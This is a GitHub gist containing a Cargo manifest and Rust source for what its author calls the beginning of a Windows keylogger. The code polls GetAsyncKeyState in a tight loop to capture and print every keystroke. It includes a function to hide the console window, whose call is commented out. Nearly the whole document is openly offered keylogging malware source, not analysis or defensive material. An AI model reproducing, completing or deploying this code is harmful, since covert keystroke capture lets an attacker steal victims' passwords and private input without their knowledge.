Created
October 28, 2018 18:01
-
-
Save lukewilson2002/1958b7269377c43a4380f7eda7fb60fd to your computer and use it in GitHub Desktop.
Beginning of a keylogger for Windows written in Rust.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [package] | |
| name = "keylog" | |
| version = "0.1.0" | |
| edition = "2018" | |
| [dependencies] | |
| winapi = { version = "0.3", features = ["std", "windef", "winuser"] } | |
| kernel32-sys = "0.2.2" | |
| user32-sys = "0.2.0" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| extern crate kernel32; | |
| extern crate user32; | |
| extern crate winapi; | |
| use winapi::um::winuser::*; | |
| fn main() { | |
| //hide_console(); | |
| loop { | |
| for i in 8..190 { | |
| if unsafe { user32::GetAsyncKeyState(i) } == -32767 { | |
| let key: String = match i as i32 { | |
| 8 => String::from("[BACKSPACE]"), | |
| 13 => String::from("[RETURN]"), | |
| 32 => String::from("[SPACE]"), | |
| VK_TAB => String::from("[TAB]"), | |
| VK_SHIFT => String::from("[SHIFT]"), | |
| VK_CONTROL => String::from("[CONTROL]"), | |
| VK_ESCAPE => String::from("[ESCAPE]"), | |
| VK_END => String::from("[END]"), | |
| VK_HOME => String::from("[HOME]"), | |
| VK_LEFT => String::from("[LEFT]"), | |
| VK_UP => String::from("[UP]"), | |
| VK_RIGHT => String::from("[RIGHT]"), | |
| VK_DOWN => String::from("[DOWN]"), | |
| _ => (i as u8 as char).to_string(), | |
| }; | |
| println!("{}", key); | |
| } | |
| } | |
| unsafe { | |
| kernel32::SleepEx(1, 1); // Sleep one millisecond | |
| } | |
| } | |
| } | |
| fn hide_console() { | |
| unsafe { | |
| kernel32::AllocConsole(); | |
| let win = user32::FindWindowA( | |
| std::ffi::CString::new("ConsoleWindowClass") | |
| .unwrap() | |
| .as_ptr(), | |
| std::ptr::null(), | |
| ); | |
| user32::ShowWindow(win, 0); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment